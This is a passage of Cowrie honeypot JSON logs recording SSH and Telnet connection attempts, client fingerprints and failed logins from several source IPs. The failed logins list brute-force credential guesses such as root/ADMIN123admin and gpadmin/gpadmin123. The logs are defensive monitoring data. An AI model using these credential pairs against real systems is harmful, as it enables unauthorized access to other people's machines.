"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:03:10.124300Z","src_ip":"200.187.71.114","session":"bccdf6b9de64","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gpadmin","password":"gpadmin123","message":"login attempt [gpadmin/gpadmin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:03:10.612177Z","src_ip":"200.187.71.114","session":"bccdf6b9de64","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:03:11.729667Z","src_ip":"200.187.71.114","session":"bccdf6b9de64","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":45172,"dst_ip":"159.203.135.109","dst_port":23,"session":"f9883116ad81","protocol":"telnet","message":"New connection: 161.97.105.174:45172 (159.203.135.109:23) [session: f9883116ad81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:03:12.671240Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":45188,"dst_ip":"159.203.135.109","dst_port":23,"session":"dc9dc0565864","protocol":"telnet","message":"New connection: 161.97.105.174:45188 (159.203.135.109:23) [session: dc9dc0565864]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:03:17.554077Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":60558,"dst_ip":"159.203.135.109","dst_port":23,"session":"28e3554af305","protocol":"telnet","message":"New connection: 161.97.105.174:60558 (159.203.135.109:23) [session: 28e3554af305]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:03:18.638616Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":60566,"dst_ip":"159.203.135.109","dst_port":23,"session":"7153834e598b","protocol":"telnet","message":"New connection: 161.97.105.174:60566 (159.203.135.109:23) [session: 7153834e598b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:03:22.557212Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":60582,"dst_ip":"159.203.135.109","dst_port":23,"session":"ff54281aa628","protocol":"telnet","message":"New connection: 161.97.105.174:60582 (159.203.135.109:23) [session: ff54281aa628]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:03:26.514337Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":53250,"dst_ip":"159.203.135.109","dst_port":23,"session":"09bc469128d9","protocol":"telnet","message":"New connection: 161.97.105.174:53250 (159.203.135.109:23) [session: 09bc469128d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:03:34.453809Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.125.94.71","src_port":33698,"dst_ip":"10.17.0.5","dst_port":22,"session":"dc99ad9e7367","protocol":"ssh","message":"New connection: 202.125.94.71:33698 (10.17.0.5:22) [session: dc99ad9e7367]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:03:35.190637Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:03:35.196005Z","src_ip":"202.125.94.71","session":"dc99ad9e7367","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:03:35.459037Z","src_ip":"202.125.94.71","session":"dc99ad9e7367","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ali","password":"aliali","message":"login attempt [ali/aliali] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:03:36.538617Z","src_ip":"202.125.94.71","session":"dc99ad9e7367","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.35592865943909,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:03:37.076575Z","src_ip":"161.97.105.174","session":"d0eda2f0cadf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:03:37.803596Z","src_ip":"202.125.94.71","session":"dc99ad9e7367","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:03:39.203593Z","src_ip":"14.103.107.209","session":"0deb3f9541f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.832691192626953,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:03:40.351270Z","src_ip":"161.97.105.174","session":"7f35be799e16","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":40006,"dst_ip":"159.203.135.109","dst_port":23,"session":"bab24d00e50a","protocol":"telnet","message":"New connection: 161.97.105.174:40006 (159.203.135.109:23) [session: bab24d00e50a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:03:43.000218Z"}
{"eventid":"cowrie.session.closed","duration":33.254111766815186,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:03:45.925255Z","src_ip":"161.97.105.174","session":"f9883116ad81","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":51470,"dst_ip":"159.203.135.109","dst_port":23,"session":"8bf636347755","protocol":"telnet","message":"New connection: 161.97.105.174:51470 (159.203.135.109:23) [session: 8bf636347755]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:03:49.331146Z"}
{"eventid":"cowrie.session.connect","src_ip":"220.247.224.226","src_port":28155,"dst_ip":"159.203.135.109","dst_port":22,"session":"dbcf20706f97","protocol":"ssh","message":"New connection: 220.247.224.226:28155 (159.203.135.109:22) [session: dbcf20706f97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:03:49.427351Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:03:49.432790Z","src_ip":"220.247.224.226","session":"dbcf20706f97","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:03:49.655357Z","src_ip":"220.247.224.226","session":"dbcf20706f97","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"a12345678","message":"login attempt [deploy/a12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:03:50.550668Z","src_ip":"220.247.224.226","session":"dbcf20706f97","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.1274950504303,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:03:50.681423Z","src_ip":"161.97.105.174","session":"dc9dc0565864","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:03:51.782184Z","src_ip":"220.247.224.226","session":"dbcf20706f97","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":51478,"dst_ip":"159.203.135.109","dst_port":23,"session":"ef35b9574104","protocol":"telnet","message":"New connection: 161.97.105.174:51478 (159.203.135.109:23) [session: ef35b9574104]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:03:53.064232Z"}
{"eventid":"cowrie.session.closed","duration":35.176209688186646,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:03:53.814708Z","src_ip":"161.97.105.174","session":"28e3554af305","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":51492,"dst_ip":"159.203.135.109","dst_port":23,"session":"abe20bf3bb1a","protocol":"telnet","message":"New connection: 161.97.105.174:51492 (159.203.135.109:23) [session: abe20bf3bb1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:03:56.008810Z"}
{"eventid":"cowrie.session.closed","duration":33.88774657249451,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:03:56.444850Z","src_ip":"161.97.105.174","session":"7153834e598b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":56912,"dst_ip":"159.203.135.109","dst_port":23,"session":"ca94a95fbd3d","protocol":"telnet","message":"New connection: 161.97.105.174:56912 (159.203.135.109:23) [session: ca94a95fbd3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:03:59.521059Z"}
{"eventid":"cowrie.session.closed","duration":33.75018382072449,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:04:00.265213Z","src_ip":"161.97.105.174","session":"ff54281aa628","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":56928,"dst_ip":"159.203.135.109","dst_port":23,"session":"3bae47964ffb","protocol":"telnet","message":"New connection: 161.97.105.174:56928 (159.203.135.109:23) [session: 3bae47964ffb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:04:01.081486Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":56944,"dst_ip":"159.203.135.109","dst_port":23,"session":"887d34f3f72b","protocol":"telnet","message":"New connection: 161.97.105.174:56944 (159.203.135.109:23) [session: 887d34f3f72b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:04:03.576663Z"}
{"eventid":"cowrie.session.closed","duration":31.207547664642334,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:04:05.661289Z","src_ip":"161.97.105.174","session":"09bc469128d9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"200.187.71.114","src_port":39474,"dst_ip":"10.17.0.5","dst_port":22,"session":"815e34e83fbf","protocol":"ssh","message":"New connection: 200.187.71.114:39474 (10.17.0.5:22) [session: 815e34e83fbf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:04:10.627663Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:04:10.632354Z","src_ip":"200.187.71.114","session":"815e34e83fbf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:04:10.746646Z","src_ip":"200.187.71.114","session":"815e34e83fbf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"appuser","password":"1234567890","message":"login attempt [appuser/1234567890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:04:11.235705Z","src_ip":"200.187.71.114","session":"815e34e83fbf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:04:12.353343Z","src_ip":"200.187.71.114","session":"815e34e83fbf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":41578,"dst_ip":"159.203.135.109","dst_port":23,"session":"2334e419b104","protocol":"telnet","message":"New connection: 161.97.105.174:41578 (159.203.135.109:23) [session: 2334e419b104]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:04:12.629678Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":41590,"dst_ip":"159.203.135.109","dst_port":23,"session":"d1032185911f","protocol":"telnet","message":"New connection: 161.97.105.174:41590 (159.203.135.109:23) [session: d1032185911f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:04:14.947557Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":41604,"dst_ip":"159.203.135.109","dst_port":23,"session":"85f9115c65db","protocol":"telnet","message":"New connection: 161.97.105.174:41604 (159.203.135.109:23) [session: 85f9115c65db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:04:16.146661Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":41618,"dst_ip":"159.203.135.109","dst_port":23,"session":"71c5c934d2f6","protocol":"telnet","message":"New connection: 161.97.105.174:41618 (159.203.135.109:23) [session: 71c5c934d2f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:04:16.579029Z"}
{"eventid":"cowrie.session.closed","duration":34.0100531578064,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:04:17.010104Z","src_ip":"161.97.105.174","session":"bab24d00e50a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":49240,"dst_ip":"159.203.135.109","dst_port":23,"session":"98c4c5d82b4d","protocol":"telnet","message":"New connection: 161.97.105.174:49240 (159.203.135.109:23) [session: 98c4c5d82b4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:04:20.942565Z"}
{"eventid":"cowrie.session.closed","duration":32.37011647224426,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:04:21.701160Z","src_ip":"161.97.105.174","session":"8bf636347755","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.58577609062195,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:04:27.594395Z","src_ip":"161.97.105.174","session":"abe20bf3bb1a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.5567352771759,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:04:28.620821Z","src_ip":"161.97.105.174","session":"ef35b9574104","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.8630576133728,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:04:32.384001Z","src_ip":"161.97.105.174","session":"ca94a95fbd3d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.251649379730225,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:04:34.333013Z","src_ip":"161.97.105.174","session":"3bae47964ffb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.125.94.71","src_port":53758,"dst_ip":"10.17.0.5","dst_port":22,"session":"5f592bda911a","protocol":"ssh","message":"New connection: 202.125.94.71:53758 (10.17.0.5:22) [session: 5f592bda911a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:04:34.831679Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:04:34.837883Z","src_ip":"202.125.94.71","session":"5f592bda911a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:04:35.098146Z","src_ip":"202.125.94.71","session":"5f592bda911a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":52422,"dst_ip":"159.203.135.109","dst_port":23,"session":"3f11356aaedc","protocol":"telnet","message":"New connection: 161.97.105.174:52422 (159.203.135.109:23) [session: 3f11356aaedc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:04:35.520302Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"ADMIN123admin","message":"login attempt [root/ADMIN123admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:04:36.168191Z","src_ip":"202.125.94.71","session":"5f592bda911a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.6410129070282,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:04:37.217320Z","src_ip":"161.97.105.174","session":"887d34f3f72b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:04:37.430425Z","src_ip":"202.125.94.71","session":"5f592bda911a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":52314,"dst_ip":"10.17.0.5","dst_port":22,"session":"fd796c1c60b3","protocol":"ssh","message":"New connection: 193.32.162.145:52314 (10.17.0.5:22) [session: fd796c1c60b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:04:42.433183Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:04:42.477713Z","src_ip":"193.32.162.145","session":"fd796c1c60b3","protocol":"ssh"}
